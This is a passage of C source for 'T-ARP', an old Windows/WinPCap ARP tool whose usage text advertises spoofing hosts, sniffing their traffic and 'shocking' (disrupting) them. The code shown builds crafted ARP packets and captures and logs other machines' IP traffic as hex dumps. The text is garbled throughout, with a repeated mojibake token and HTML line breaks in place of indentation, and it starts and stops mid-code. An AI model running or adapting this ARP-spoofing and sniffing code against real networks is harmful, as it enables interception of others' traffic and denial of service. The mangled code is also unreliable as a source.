(t¨©ng)arp_pro;<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)unsigned char (t¨©ng) (t¨©ng) arp_hln;<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)unsigned char (t¨©ng) (t¨©ng) arp_pln;<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)unsigned short (t¨©ng) (t¨©ng)arp_opt;<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)unsigned char (t¨©ng) (t¨©ng) arp_sha[6];<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)unsigned long (t¨©ng) (t¨©ng) arp_spa;<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)unsigned char (t¨©ng) (t¨©ng) arp_tha[6];<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)unsigned long (t¨©ng) (t¨©ng) arp_tpa;<br />}ARPHDR,*PARPHDR;<br /><br />typedef struct iphdr<br />{<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)unsigned char (t¨©ng) (t¨©ng)h_lenver;<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)unsigned char (t¨©ng) (t¨©ng)tos;<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)unsigned short total_len;<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)unsigned short ident;<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)unsigned short frag_and_flags;<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)unsigned char (t¨©ng) (t¨©ng)ttl;<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)unsigned char (t¨©ng) (t¨©ng)proto;<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)unsigned short checksum;<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)unsigned int (t¨©ng) (t¨©ng) sourceip;<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)unsigned int (t¨©ng) (t¨©ng) destip;<br />}IPHDR,*PIPHDR;<br /><br />#pragma pack(push)<br /><br />LPADAPTER lpadapter=0;<br />LPPACKET (t¨©ng) (t¨©ng)lppacketr,lppackets;<br />ULONG (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) myip,firstip,secondip;<br />UCHAR (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) mmac[6]={0},fmac[6]={0},smac[6]={0};<br />BOOL (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)mm=FALSE,fm=FALSE,sm=FALSE; <br />FILE (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)*fp; <br />char (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)adapterlist[max_num_adapter][1024];<br />char (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)msg[50];<br />int (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) num=0;<br /><br />void start()<br />{<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)printf("T-ARP --- ARP Tools, by TOo2y(ò1é?), 11-9-2002\n");<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)printf("Homepage: <a target="_blank">www.safechina.net</a>\n");<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)printf("E-mail: TOo2y@safechina.net\n");<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)return ;<br />}<br /><br />void usage()<br />{<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)printf("\nUsage: T-ARP (t¨©ng) (t¨©ng)[-m|-a|-s|-r] (t¨©ng) (t¨©ng)firstip (t¨©ng) (t¨©ng)secondip (t¨©ng) (t¨©ng)\n\n");<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)printf("Option:\n");<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)printf(" (t¨©ng) (t¨©ng) -m (t¨©ng) (t¨©ng)mac (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)Get the mac address from firstip to secondip\n");<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)printf(" (t¨©ng) (t¨©ng) -a (t¨©ng) (t¨©ng)antisniff (t¨©ng) (t¨©ng)Get the sniffing host from firstip to secondip\n");<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)printf(" (t¨©ng) (t¨©ng) -s (t¨©ng) (t¨©ng)spoof (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)1> Spoof the host between firstip and secondip\n");<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)printf(" (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) sniff (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)2> Sniff if firstip == secondip == your own ip\n");<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)printf(" (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) shock (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)3> Shock if firstip == secondip != your own ip\n");<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)printf(" (t¨©ng) (t¨©ng) -r (t¨©ng) (t¨©ng)reset (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)Reset the spoofed host work normally\n\n");<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)printf("Attention:\n");<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)printf(" (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)1> You must have installed the winpcap_2.3 or winpcap_3.0_alpha\n");<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)printf(" (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)2> HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\IPEnableRouter==0x1\n\n");<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)return ;<br />}<br /><br />int getmine()<br />{<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)char (t¨©ng) (t¨©ng) sendbuf[1024];<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)int (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)k;<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)ETHDR (t¨©ng) (t¨©ng)eth;<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)ARPHDR arp;<br /><br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)for(k=0;k<6;k++)<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng){<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)eth.eh_dst[k]=0xff;<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)eth.eh_src[k]=0x82;<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)arp.arp_sha[k]=0x82;<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)arp.arp_tha[k]=0x00;<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)}<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)eth.eh_type=htons(ETH_ARP);<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)arp.arp_hdr=htons(ARP_HARDWARE);<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)arp.arp_pro=htons(ETH_IP);<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)arp.arp_hln=6;<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)arp.arp_pln=4;<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)arp.arp_opt=htons(ARP_REQUEST);<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)arp.arp_tpa=htonl(myip);<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)arp.arp_spa=inet_addr("112.112.112.112");<br /><br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)memset(sendbuf,0,sizeof(sendbuf));<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)memcpy(sendbuf,&eth;,sizeof(eth));<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)memcpy(sendbuf+sizeof(eth),&arp,sizeof(arp));<br /><br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)PacketInitPacket(lppackets,sendbuf,sizeof(eth)+sizeof(arp));<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)if(PacketSendPacket(lpadapter,lppackets,TRUE)==FALSE)<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng){<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)printf("PacketSendPacket in getmine Error: %d\n",GetLastError());<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)return -1; (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) <br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)}<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)return 0;<br />}<br /><br />void getdata(LPPACKET lp,int op) <br />{<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)ULONG (t¨©ng) (t¨©ng)ulbytesreceived,off,tlen,ulen,ulLines;<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)ULONG (t¨©ng) (t¨©ng)j,k;<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)ETHDR (t¨©ng) (t¨©ng)*eth;<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)ARPHDR *arp;<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)PIPHDR ip;<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)char (t¨©ng) (t¨©ng) *buf,*pChar,*pLine,*base;<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)struct bpf_hdr (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)*hdr;<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)struct sockaddr_in (t¨©ng) (t¨©ng)sin;<br /><br /><br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)ulbytesreceived=lp->ulBytesReceived;<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)buf=(char *)lp->Buffer;<br /><br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)off=0;<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)while(off<ulbytesreceived)<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng){<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)if(kbhit())<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng){<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)return ;<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)}<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)hdr=(struct bpf_hdr *)(buf+off);<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)off+=hdr->bh_hdrlen;<br /><br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)pChar=(char *)(buf+off);<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)base=pChar;<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)off=Packet_WORDALIGN(off+hdr->bh_caplen);<br /><br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)eth=(PETHDR)pChar; (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)arp=(PARPHDR)(pChar+sizeof(ETHDR)); <br /><br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)if(eth->eh_type==htons(ETH_IP)) <br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng){<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)ip=(PIPHDR)(pChar+sizeof(ETHDR));<br /><br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)if(fm && sm && (op==3)) (t¨©ng) (t¨©ng)<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng){ (t¨©ng) (t¨©ng)<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)if((((ip->sourceip!=htonl(myip)) && (ip->destip!=htonl(myip)) <br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)&& !strcmp((char *)eth->eh_dst,(char *)mmac)) <br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)&& ((ip->sourceip==htonl(firstip)) || (ip->destip==htonl(firstip)) <br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)|| (ip->sourceip==htonl(secondip)) || (ip->destip==htonl(secondip))))<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)|| ((firstip==myip) && (secondip==myip)))<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng){<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)memset(msg,0,sizeof(msg));<br /><br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)sin.sin_addr.s_addr=ip->sourceip; (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)printf("[IP:]%16s ---> [IP:]",inet_ntoa(sin.sin_addr));<br /><br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)strcpy(msg,inet_ntoa(sin.sin_addr));<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)strcat(msg+15," ---> ");<br /><br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)sin.sin_addr.s_addr=ip->destip;<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)printf("%16s\n",inet_ntoa(sin.sin_addr));<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) <br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)strcat(msg+23,inet_ntoa(sin.sin_addr));<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)fseek(fp,-2,1);<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)fwrite("\r\n\r\n\r\n",6,1,fp);<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)fwrite(msg,38,1,fp);<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)fwrite("\r\n",2,1,fp);<br /><br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)ulLines=(hdr->bh_caplen+15)/16;<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)for(k=0;k<ulLines;k++)<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng){<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)pLine=pChar;<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)printf("%08lx : ",pChar-base);<br /><br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)ulen=tlen;<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)ulen=(ulen>16) ? 16 : ulen;<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)tlen-=ulen;<br /><br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)for(j=0;j<ulen;j++)<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)printf("%02x ",*(BYTE *)pChar++);<br /><br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)if(ulen<16)<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)printf("%*s",(16-ulen)*3," ");<br /><br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)pChar=pLine;<br /><br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)for(j=0;j<ulen;j++,pChar++)<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng){<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)printf("%c",isprint(*pChar)? *pChar : '.');<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) 